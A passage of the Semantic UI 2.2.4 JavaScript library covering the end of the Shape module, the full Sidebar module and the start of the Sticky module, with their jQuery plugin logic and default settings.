                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.shape.settings = {

  // module info
  name : 'Shape',

  // hide all debug content
  silent     : false,

  // debug content outputted to console
  debug      : false,

  // verbose debug output
  verbose    : false,

  // fudge factor in pixels when swapping from 2d to 3d (can be useful to correct rounding errors)
  jitter     : 0,

  // performance data output
  performance: true,

  // event namespace
  namespace  : 'shape',

  // width during animation, can be set to 'auto', initial', 'next' or pixel amount
  width: 'initial',

  // height during animation, can be set to 'auto', 'initial', 'next' or pixel amount
  height: 'initial',

  // callback occurs on side change
  beforeChange : function() {},
  onChange     : function() {},

  // allow animation to same side
  allowRepeats: false,

  // animation duration
  duration   : false,

  // possible errors
  error: {
    side   : 'You tried to switch to a side that does not exist.',
    method : 'The method you called is not defined'
  },

  // classnames used
  className   : {
    animating : 'animating',
    hidden    : 'hidden',
    loading   : 'loading',
    active    : 'active'
  },

  // selectors used
  selector    : {
    sides : '.sides',
    side  : '.side'
  }

};


})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Sidebar
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.sidebar = function(parameters) {
  var
    $allModules     = $(this),
    $window         = $(window),
    $document       = $(document),
    $html           = $('html'),
    $head           = $('head'),

    moduleSelector  = $allModules.selector || '',

    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),

    requestAnimationFrame = window.requestAnimationFrame
      || window.mozRequestAnimationFrame
      || window.webkitRequestAnimationFrame
      || window.msRequestAnimationFrame
      || function(callback) { setTimeout(callback, 0); },

    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.sidebar.settings, parameters)
          : $.extend({}, $.fn.sidebar.settings),

        selector        = settings.selector,
        className       = settings.className,
        namespace       = settings.namespace,
        regExp          = settings.regExp,
        error           = settings.error,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        $module         = $(this),
        $context        = $(settings.context),

        $sidebars       = $module.children(selector.sidebar),
        $fixed          = $context.children(selector.fixed),
        $pusher         = $context.children(selector.pusher),
        $style,

        element         = this,
        instance        = $module.data(moduleNamespace),

        elementNamespace,
        id,
        currentScroll,
        transitionEvent,

        module
      ;

      module      = {

        initialize: function() {
          module.debug('Initializing sidebar', parameters);

          module.create.id();

          transitionEvent = module.get.transitionEvent();

          if(module.is.ios()) {
            module.set.ios();
          }

          // avoids locking rendering if initialized in onReady
          if(settings.delaySetup) {
            requestAnimationFrame(module.setup.layout);
          }
          else {
            module.setup.layout();
          }

          requestAnimationFrame(function() {
            module.setup.cache();
          });

          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        create: {
          id: function() {
            id = (Math.random().toString(16) + '000000000').substr(2,8);
            elementNamespace = '.' + id;
            module.verbose('Creating unique id for element', id);
          }
        },

        destroy: function() {
          module.verbose('Destroying previous module for', $module);
          $module
            .off(eventNamespace)
            .removeData(moduleNamespace)
          ;
          if(module.is.ios()) {
            module.remove.ios();
          }
          // bound by uuid
          $context.off(elementNamespace);
          $window.off(elementNamespace);
          $document.off(elementNamespace);
        },

        event: {
          clickaway: function(event) {
            var
              clickedInPusher = ($pusher.find(event.target).length > 0 || $pusher.is(event.target)),
              clickedContext  = ($context.is(event.target))
            ;
            if(clickedInPusher) {
              module.verbose('User clicked on dimmed page');
              module.hide();
            }
            if(clickedContext) {
              module.verbose('User clicked on dimmable context (scaled out page)');
              module.hide();
            }
          },
          touch: function(event) {
            //event.stopPropagation();
          },
          containScroll: function(event) {
            if(element.scrollTop <= 0)  {
              element.scrollTop = 1;
            }
            if((element.scrollTop + element.offsetHeight) >= element.scrollHeight) {
              element.scrollTop = element.scrollHeight - element.offsetHeight - 1;
            }
          },
          scroll: function(event) {
            if( $(event.target).closest(selector.sidebar).length === 0 ) {
              event.preventDefault();
            }
          }
        },

        bind: {
          clickaway: function() {
            module.verbose('Adding clickaway events to context', $context);
            if(settings.closable) {
              $context
                .on('click'    + elementNamespace, module.event.clickaway)
                .on('touchend' + elementNamespace, module.event.clickaway)
              ;
            }
          },
          scrollLock: function() {
            if(settings.scrollLock) {
              module.debug('Disabling page scroll');
              $window
                .on('DOMMouseScroll' + elementNamespace, module.event.scroll)
              ;
            }
            module.verbose('Adding events to contain sidebar scroll');
            $document
              .on('touchmove' + elementNamespace, module.event.touch)
            ;
            $module
              .on('scroll' + eventNamespace, module.event.containScroll)
            ;
          }
        },
        unbind: {
          clickaway: function() {
            module.verbose('Removing clickaway events from context', $context);
            $context.off(elementNamespace);
          },
          scrollLock: function() {
            module.verbose('Removing scroll lock from page');
            $document.off(elementNamespace);
            $window.off(elementNamespace);
            $module.off('scroll' + eventNamespace);
          }
        },

        add: {
          inlineCSS: function() {
            var
              width     = module.cache.width  || $module.outerWidth(),
              height    = module.cache.height || $module.outerHeight(),
              isRTL     = module.is.rtl(),
              direction = module.get.direction(),
              distance  = {
                left   : width,
                right  : -width,
                top    : height,
                bottom : -height
              },
              style
            ;

            if(isRTL){
              module.verbose('RTL detected, flipping widths');
              distance.left = -width;
              distance.right = width;
            }

            style  = '<style>';

            if(direction === 'left' || direction === 'right') {
              module.debug('Adding CSS rules for animation distance', width);
              style  += ''
                + ' .ui.visible.' + direction + '.sidebar ~ .fixed,'
                + ' .ui.visible.' + direction + '.sidebar ~ .pusher {'
                + '   -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);'
                + '           transform: translate3d('+ distance[direction] + 'px, 0, 0);'
                + ' }'
              ;
            }
            else if(direction === 'top' || direction == 'bottom') {
              style  += ''
                + ' .ui.visible.' + direction + '.sidebar ~ .fixed,'
                + ' .ui.visible.' + direction + '.sidebar ~ .pusher {'
                + '   -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);'
                + '           transform: translate3d(0, ' + distance[direction] + 'px, 0);'
                + ' }'
              ;
            }

            /* IE is only browser not to create context with transforms */
            /* https://www.w3.org/Bugs/Public/show_bug.cgi?id=16328 */
            if( module.is.ie() ) {
              if(direction === 'left' || direction === 'right') {
                module.debug('Adding CSS rules for animation distance', width);
                style  += ''
                  + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {'
                  + '   -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);'
                  + '           transform: translate3d('+ distance[direction] + 'px, 0, 0);'
                  + ' }'
                ;
              }
              else if(direction === 'top' || direction == 'bottom') {
                style  += ''
                  + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {'
                  + '   -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);'
                  + '           transform: translate3d(0, ' + distance[direction] + 'px, 0);'
                  + ' }'
                ;
              }
              /* opposite sides visible forces content overlay */
              style += ''
                + ' body.pushable > .ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher:after,'
                + ' body.pushable > .ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher:after {'
                + '   -webkit-transform: translate3d(0px, 0, 0);'
                + '           transform: translate3d(0px, 0, 0);'
                + ' }'
              ;
            }
            style += '</style>';
            $style = $(style)
              .appendTo($head)
            ;
            module.debug('Adding sizing css to head', $style);
          }
        },

        refresh: function() {
          module.verbose('Refreshing selector cache');
          $context  = $(settings.context);
          $sidebars = $context.children(selector.sidebar);
          $pusher   = $context.children(selector.pusher);
          $fixed    = $context.children(selector.fixed);
          module.clear.cache();
        },

        refreshSidebars: function() {
          module.verbose('Refreshing other sidebars');
          $sidebars = $context.children(selector.sidebar);
        },

        repaint: function() {
          module.verbose('Forcing repaint event');
          element.style.display = 'none';
          var ignored = element.offsetHeight;
          element.scrollTop = element.scrollTop;
          element.style.display = '';
        },

        setup: {
          cache: function() {
            module.cache = {
              width  : $module.outerWidth(),
              height : $module.outerHeight(),
              rtl    : ($module.css('direction') == 'rtl')
            };
          },
          layout: function() {
            if( $context.children(selector.pusher).length === 0 ) {
              module.debug('Adding wrapper element for sidebar');
              module.error(error.pusher);
              $pusher = $('<div class="pusher" />');
              $context
                .children()
                  .not(selector.omitted)
                  .not($sidebars)
                  .wrapAll($pusher)
              ;
              module.refresh();
            }
            if($module.nextAll(selector.pusher).length === 0 || $module.nextAll(selector.pusher)[0] !== $pusher[0]) {
              module.debug('Moved sidebar to correct parent element');
              module.error(error.movedSidebar, element);
              $module.detach().prependTo($context);
              module.refresh();
            }
            module.clear.cache();
            module.set.pushable();
            module.set.direction();
          }
        },

        attachEvents: function(selector, event) {
          var
            $toggle = $(selector)
          ;
          event = $.isFunction(module[event])
            ? module[event]
            : module.toggle
          ;
          if($toggle.length > 0) {
            module.debug('Attaching sidebar events to element', selector, event);
            $toggle
              .on('click' + eventNamespace, event)
            ;
          }
          else {
            module.error(error.notFound, selector);
          }
        },

        show: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if(module.is.hidden()) {
            module.refreshSidebars();
            if(settings.overlay)  {
              module.error(error.overlay);
              settings.transition = 'overlay';
            }
            module.refresh();
            if(module.othersActive()) {
              module.debug('Other sidebars currently visible');
              if(settings.exclusive) {
                // if not overlay queue animation after hide
                if(settings.transition != 'overlay') {
                  module.hideOthers(module.show);
                  return;
                }
                else {
                  module.hideOthers();
                }
              }
              else {
                settings.transition = 'overlay';
              }
            }
            module.pushPage(function() {
              callback.call(element);
              settings.onShow.call(element);
            });
            settings.onChange.call(element);
            settings.onVisible.call(element);
          }
          else {
            module.debug('Sidebar is already visible');
          }
        },

        hide: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if(module.is.visible() || module.is.animating()) {
            module.debug('Hiding sidebar', callback);
            module.refreshSidebars();
            module.pullPage(function() {
              callback.call(element);
              settings.onHidden.call(element);
            });
            settings.onChange.call(element);
            settings.onHide.call(element);
          }
        },

        othersAnimating: function() {
          return ($sidebars.not($module).filter('.' + className.animating).length > 0);
        },
        othersVisible: function() {
          return ($sidebars.not($module).filter('.' + className.visible).length > 0);
        },
        othersActive: function() {
          return(module.othersVisible() || module.othersAnimating());
        },

        hideOthers: function(callback) {
          var
            $otherSidebars = $sidebars.not($module).filter('.' + className.visible),
            sidebarCount   = $otherSidebars.length,
            callbackCount  = 0
          ;
          callback = callback || function(){};
          $otherSidebars
            .sidebar('hide', function() {
              callbackCount++;
              if(callbackCount == sidebarCount) {
                callback();
              }
            })
          ;
        },

        toggle: function() {
          module.verbose('Determining toggled direction');
          if(module.is.hidden()) {
            module.show();
          }
          else {
            module.hide();
          }
        },

        pushPage: function(callback) {
          var
            transition = module.get.transition(),
            $transition = (transition === 'overlay' || module.othersActive())
              ? $module
              : $pusher,
            animate,
            dim,
            transitionEnd
          ;
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if(settings.transition == 'scale down') {
            module.scrollToTop();
          }
          module.set.transition(transition);
          module.repaint();
          animate = function() {
            module.bind.clickaway();
            module.add.inlineCSS();
            module.set.animating();
            module.set.visible();
          };
          dim = function() {
            module.set.dimmed();
          };
          transitionEnd = function(event) {
            if( event.target == $transition[0] ) {
              $transition.off(transitionEvent + elementNamespace, transitionEnd);
              module.remove.animating();
              module.bind.scrollLock();
              callback.call(element);
            }
          };
          $transition.off(transitionEvent + elementNamespace);
          $transition.on(transitionEvent + elementNamespace, transitionEnd);
          requestAnimationFrame(animate);
          if(settings.dimPage && !module.othersVisible()) {
            requestAnimationFrame(dim);
          }
        },

        pullPage: function(callback) {
          var
            transition = module.get.transition(),
            $transition = (transition == 'overlay' || module.othersActive())
              ? $module
              : $pusher,
            animate,
            transitionEnd
          ;
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          module.verbose('Removing context push state', module.get.direction());

          module.unbind.clickaway();
          module.unbind.scrollLock();

          animate = function() {
            module.set.transition(transition);
            module.set.animating();
            module.remove.visible();
            if(settings.dimPage && !module.othersVisible()) {
              $pusher.removeClass(className.dimmed);
            }
          };
          transitionEnd = function(event) {
            if( event.target == $transition[0] ) {
              $transition.off(transitionEvent + elementNamespace, transitionEnd);
              module.remove.animating();
              module.remove.transition();
              module.remove.inlineCSS();
              if(transition == 'scale down' || (settings.returnScroll && module.is.mobile()) ) {
                module.scrollBack();
              }
              callback.call(element);
            }
          };
          $transition.off(transitionEvent + elementNamespace);
          $transition.on(transitionEvent + elementNamespace, transitionEnd);
          requestAnimationFrame(animate);
        },

        scrollToTop: function() {
          module.verbose('Scrolling to top of page to avoid animation issues');
          currentScroll = $(window).scrollTop();
          $module.scrollTop(0);
          window.scrollTo(0, 0);
        },

        scrollBack: function() {
          module.verbose('Scrolling back to original page position');
          window.scrollTo(0, currentScroll);
        },

        clear: {
          cache: function() {
            module.verbose('Clearing cached dimensions');
            module.cache = {};
          }
        },

        set: {

          // ios only (scroll on html not document). This prevent auto-resize canvas/scroll in ios
          ios: function() {
            $html.addClass(className.ios);
          },

          // container
          pushed: function() {
            $context.addClass(className.pushed);
          },
          pushable: function() {
            $context.addClass(className.pushable);
          },

          // pusher
          dimmed: function() {
            $pusher.addClass(className.dimmed);
          },

          // sidebar
          active: function() {
            $module.addClass(className.active);
          },
          animating: function() {
            $module.addClass(className.animating);
          },
          transition: function(transition) {
            transition = transition || module.get.transition();
            $module.addClass(transition);
          },
          direction: function(direction) {
            direction = direction || module.get.direction();
            $module.addClass(className[direction]);
          },
          visible: function() {
            $module.addClass(className.visible);
          },
          overlay: function() {
            $module.addClass(className.overlay);
          }
        },
        remove: {

          inlineCSS: function() {
            module.debug('Removing inline css styles', $style);
            if($style && $style.length > 0) {
              $style.remove();
            }
          },

          // ios scroll on html not document
          ios: function() {
            $html.removeClass(className.ios);
          },

          // context
          pushed: function() {
            $context.removeClass(className.pushed);
          },
          pushable: function() {
            $context.removeClass(className.pushable);
          },

          // sidebar
          active: function() {
            $module.removeClass(className.active);
          },
          animating: function() {
            $module.removeClass(className.animating);
          },
          transition: function(transition) {
            transition = transition || module.get.transition();
            $module.removeClass(transition);
          },
          direction: function(direction) {
            direction = direction || module.get.direction();
            $module.removeClass(className[direction]);
          },
          visible: function() {
            $module.removeClass(className.visible);
          },
          overlay: function() {
            $module.removeClass(className.overlay);
          }
        },

        get: {
          direction: function() {
            if($module.hasClass(className.top)) {
              return className.top;
            }
            else if($module.hasClass(className.right)) {
              return className.right;
            }
            else if($module.hasClass(className.bottom)) {
              return className.bottom;
            }
            return className.left;
          },
          transition: function() {
            var
              direction = module.get.direction(),
              transition
            ;
            transition = ( module.is.mobile() )
              ? (settings.mobileTransition == 'auto')
                ? settings.defaultTransition.mobile[direction]
                : settings.mobileTransition
              : (settings.transition == 'auto')
                ? settings.defaultTransition.computer[direction]
                : settings.transition
            ;
            module.verbose('Determined transition', transition);
            return transition;
          },
          transitionEvent: function() {
            var
              element     = document.createElement('element'),
              transitions = {
                'transition'       :'transitionend',
                'OTransition'      :'oTransitionEnd',
                'MozTransition'    :'transitionend',
                'WebkitTransition' :'webkitTransitionEnd'
              },
              transition
            ;
            for(transition in transitions){
              if( element.style[transition] !== undefined ){
                return transitions[transition];
              }
            }
          }
        },

        is: {

          ie: function() {
            var
              isIE11 = (!(window.ActiveXObject) && 'ActiveXObject' in window),
              isIE   = ('ActiveXObject' in window)
            ;
            return (isIE11 || isIE);
          },

          ios: function() {
            var
              userAgent      = navigator.userAgent,
              isIOS          = userAgent.match(regExp.ios),
              isMobileChrome = userAgent.match(regExp.mobileChrome)
            ;
            if(isIOS && !isMobileChrome) {
              module.verbose('Browser was found to be iOS', userAgent);
              return true;
            }
            else {
              return false;
            }
          },
          mobile: function() {
            var
              userAgent    = navigator.userAgent,
              isMobile     = userAgent.match(regExp.mobile)
            ;
            if(isMobile) {
              module.verbose('Browser was found to be mobile', userAgent);
              return true;
            }
            else {
              module.verbose('Browser is not mobile, using regular transition', userAgent);
              return false;
            }
          },
          hidden: function() {
            return !module.is.visible();
          },
          visible: function() {
            return $module.hasClass(className.visible);
          },
          // alias
          open: function() {
            return module.is.visible();
          },
          closed: function() {
            return module.is.hidden();
          },
          vertical: function() {
            return $module.hasClass(className.top);
          },
          animating: function() {
            return $context.hasClass(className.animating);
          },
          rtl: function () {
            if(module.cache.rtl === undefined) {
              module.cache.rtl = ($module.css('direction') == 'rtl');
            }
            return module.cache.rtl;
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      }
    ;

    if(methodInvoked) {
      if(instance === undefined) {
        module.initialize();
      }
      module.invoke(query);
    }
    else {
      if(instance !== undefined) {
        module.invoke('destroy');
      }
      module.initialize();
    }
  });

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.sidebar.settings = {

  name              : 'Sidebar',
  namespace         : 'sidebar',

  silent            : false,
  debug             : false,
  verbose           : false,
  performance       : true,

  transition        : 'auto',
  mobileTransition  : 'auto',

  defaultTransition : {
    computer: {
      left   : 'uncover',
      right  : 'uncover',
      top    : 'overlay',
      bottom : 'overlay'
    },
    mobile: {
      left   : 'uncover',
      right  : 'uncover',
      top    : 'overlay',
      bottom : 'overlay'
    }
  },

  context           : 'body',
  exclusive         : false,
  closable          : true,
  dimPage           : true,
  scrollLock        : false,
  returnScroll      : false,
  delaySetup        : false,

  duration          : 500,

  onChange          : function(){},
  onShow            : function(){},
  onHide            : function(){},

  onHidden          : function(){},
  onVisible         : function(){},

  className         : {
    active    : 'active',
    animating : 'animating',
    dimmed    : 'dimmed',
    ios       : 'ios',
    pushable  : 'pushable',
    pushed    : 'pushed',
    right     : 'right',
    top       : 'top',
    left      : 'left',
    bottom    : 'bottom',
    visible   : 'visible'
  },

  selector: {
    fixed   : '.fixed',
    omitted : 'script, link, style, .ui.modal, .ui.dimmer, .ui.nag, .ui.fixed',
    pusher  : '.pusher',
    sidebar : '.ui.sidebar'
  },

  regExp: {
    ios          : /(iPad|iPhone|iPod)/g,
    mobileChrome : /(CriOS)/g,
    mobile       : /Mobile|iP(hone|od|ad)|Android|BlackBerry|IEMobile|Kindle|NetFront|Silk-Accelerated|(hpw|web)OS|Fennec|Minimo|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/g
  },

  error   : {
    method       : 'The method you called is not defined.',
    pusher       : 'Had to add pusher element. For optimal performance make sure body content is inside a pusher element',
    movedSidebar : 'Had to move sidebar. For optimal performance make sure sidebar and pusher are direct children of your body tag',
    overlay      : 'The overlay setting is no longer supported, use animation: overlay',
    notFound     : 'There were no elements that matched the specified selector'
  }

};


})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Sticky
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.sticky = function(parameters) {
  var
    $allModules    = $(this),
    moduleSelector = $allModules.selector || '',

    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),
    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings              = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.sticky.settings, parameters)
          : $.extend({}, $.fn.sticky.settings),

        className             = settings.className,
        namespace             = settings.namespace,
        error                 = settings.error,

        eventNamespace        = '.' + namespace,
        moduleNamespace       = 'module-' + namespace,

        $module               = $(this),
        $window               = $(window),
        $scroll               = $(settings.scrollContext),
        $container,
        $context,

        selector              = $module.selector || '',
        instance              = $module.data(moduleNamespace),

        requestAnimationFrame = window.requestAnimationFrame
          || window.mozRequestAnimationFrame
          || window.webkitRequestAnimationFrame
          || window.msRequestAnimationFrame
          || function(callback) { setTimeout(callback, 0); },

        element         = this,

        documentObserver,
        observer,
        module
      ;

      module      = {

        initialize: function() {

          module.determineContainer();
          module.determineContext();
          module.verbose('Initializing sticky', settings, $container);

          module.save.positions();
          module.checkErrors();
          module.bind.events();

          if(settings.observeChanges) {
            module.observeChanges();
          }
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous instance');
          module.reset();
          if(documentObserver) {
            documentObserver.disconnect();
          }
          if(observer) {
            observer.disconnect();
          }
          $window
            .off('load' + eventNamespace, module.event.load)
            .off('resize' + eventNamespace, module.event.resize)
          ;
          $scroll
            .off('scrollchange' + eventNamespace, module.event.scrollchange)
          ;
          $module.removeData(moduleNamespace);
        },

        observeChanges: function() {
          if('MutationObserver' in window) {
            documentObserver = new MutationObserver(module.event.documentChanged);
            observer         = new MutationObserver(module.event.changed);
            documentObserver.observe(document, {
              childList : true,
              subtree   : true
            });
            observer.observe(element, {
              childList : true,
              subtree   : true
            });
            observer.observe($context[0], {
              childList : true,
              subtree   : true
            });
            module.debug('Setting up mutation observer', observer);
          }
        },

        determineContainer: function() {
          $container = $module.offsetParent();
        },

        determineContext: function() {
          if(settings.context) {
            $context = $(settings.context);
          }
          else {
            $context = $container;
          }
          if($context.length === 0) {
            module.error(error.invalidContext, settings.context, $module);
            return;
          }
        },

        checkErrors: function() {
          if( module.is.hidden() ) {
            module.error(error.visible, $module);
          }
          if(module.cache.element.height > module.cache.context.height) {
            module.reset();
            module.error(error.elementSize, $module);
            return;
          }
        },

        bind: {
          events: function() {
            $window
              .on('load' + eventNamespace, module.event.load)
              .on('resize' + eventNamespace, module.event.resize)
            ;
            // pub/sub pattern
            $scroll
              .off('scroll' + eventNamespace)
              .on('scroll' + eventNamespace, module.event.scroll)
              .on('scrollchange' + eventNamespace, module.event.scrollchange)
            ;
          }
        },

        event: {
          changed: function(mutations) {
            clearTimeout(module.timer);
            module.timer = setTimeout(function() {
              module.verbose('DOM tree modified, updating sticky menu', mutations);
              module.refresh();
            }, 100);
          },
          documentChanged: function(mutations) {
            [].forEach.call(mutations, function(mutation) {
              if(mutation.removedNodes) {
                [].forEach.call(mutation.removedNodes, function(node) {
                  if(node == element || $(node).find(element).length > 0) {
                    module.debug('Element removed from DOM, tearing down events');
                    module.destroy();
                  }
                });
              }
            });
          },
          load: function() {
            module.verbose('Page contents finished loading');
            requestAnimationFrame(module.refresh);
          },
          resize: function() {
            module.verbose('Window resized');
            requestAnimationFrame(module.refresh);
          },
          scroll: function() {
            requestAnimationFrame(function() {
              $scroll.triggerHandler('scrollchange' + eventNamespace, $scroll.scrollTop() );
            });
          },
          scrollchange: function(event, scrollPosition) {
            module.stick(scrollPosition);
            settings.onScroll.call(element);
          }
        },

        refresh: function(hardRefresh) {
          module.reset();
          if(!settings.context) {
            module.determineContext();
          }
          if(hardRefresh) {
            module.determineContainer();
          }
          module.save.positions();
          module.stick();
          settings.onReposition.call(element);
        },

        supports: {
          sticky: function() {
            var
              $element = $('<div/>'),
              element = $element[0]
            ;
            $element.addClass(className.supported);
            return($element.css('position').match('sticky'));
          }
        },

        save: {
          lastScroll: function(scroll) {
            module.lastScroll = scroll;
          },
          elementScroll: function(scroll) {
            module.elementScroll = scroll;
          },
          positions: function() {
            var
              scrollContext = {
                height : $scroll.height()
              },
              element = {
                margin: {
                  top    : parseInt($module.css('margin-top'), 10),
                  bottom : parseInt($module.css('margin-bottom'), 10),
                },
                offset : $module.offset(),
                width  : $module.outerWidth(),
                height : $module.outerHeight()
              },
              context = {
                offset : $context.offset(),
                height : $context.outerHeight()
              },
              container = {
                height: $container.outerHeight()
              }
            ;
            if( !module.is.standardScroll() ) {
              module.debug('Non-standard scroll. Removing scroll offset from element offset');

              scrollContext.top  = $scroll.scrollTop();
              scrollContext.left = $scroll.scrollLeft();

              element.offset.top  += scrollContext.top;
              context.offset.top  += scrollContext.top;
              element.offset.left += scrollContext.left;
              context.offset.left += scrollContext.left;
            }
            module.cache = {
              fits : ( element.height < scrollContext.height ),
              scrollContext : {
                height : scrollContext.height
              },
              element: {
                margin : element.margin,
                top    : element.offset.top - element.margin.top,
                left   : element.offset.left,
                width  : element.width,
                height : element.height,
                bottom : element.offset.top + element.height
              },
              context: {
                top           : context.offset.top,
                height        : context.height,
                bottom        : context.offset.top + context.height
              }
            };
            module.set.containerSize();
            module.set.size();
            module.stick();
            module.debug('Caching element positions', module.cache);
          }
        },

        get: {
          direction: function(scroll) {
            var
              direction = 'down'
            ;
            scroll = scroll || $scroll.scrollTop();
            if(module.lastScroll !== undefined) {
              if(module.lastScroll < scroll) {
                direction = 'down';
              }
              else if(module.lastScroll > scroll) {
                direction = 'up';
              }
            }
            return direction;
          },
          scrollChange: function(scroll) {
            scroll = scroll || $scroll.scrollTop();
            return (module.lastScroll)
              ? (scroll - module.lastScroll)
              : 0
            ;
          },
          currentElementScroll: function() {
            if(module.elementScroll) {
              return module.elementScroll;
            }
            return ( module.is.top() )
              ? Math.abs(parseInt($module.css('top'), 10))    || 0
              : Math.abs(parseInt($module.css('bottom'), 10)) || 0
            ;
          },

          elementScroll: function(scroll) {
            scroll = scroll || $scroll.scrollTop();
            var
              element        = module.cache.element,
              scrollContext  = module.cache.scrollContext,
              delta          = module.get.scrollChange(scroll),
              maxScroll      = (element.height - scrollContext.height + settings.offset),
              elementScroll  = module.get.currentElementScroll(),
              possibleScroll = (elementScroll + delta)
            ;
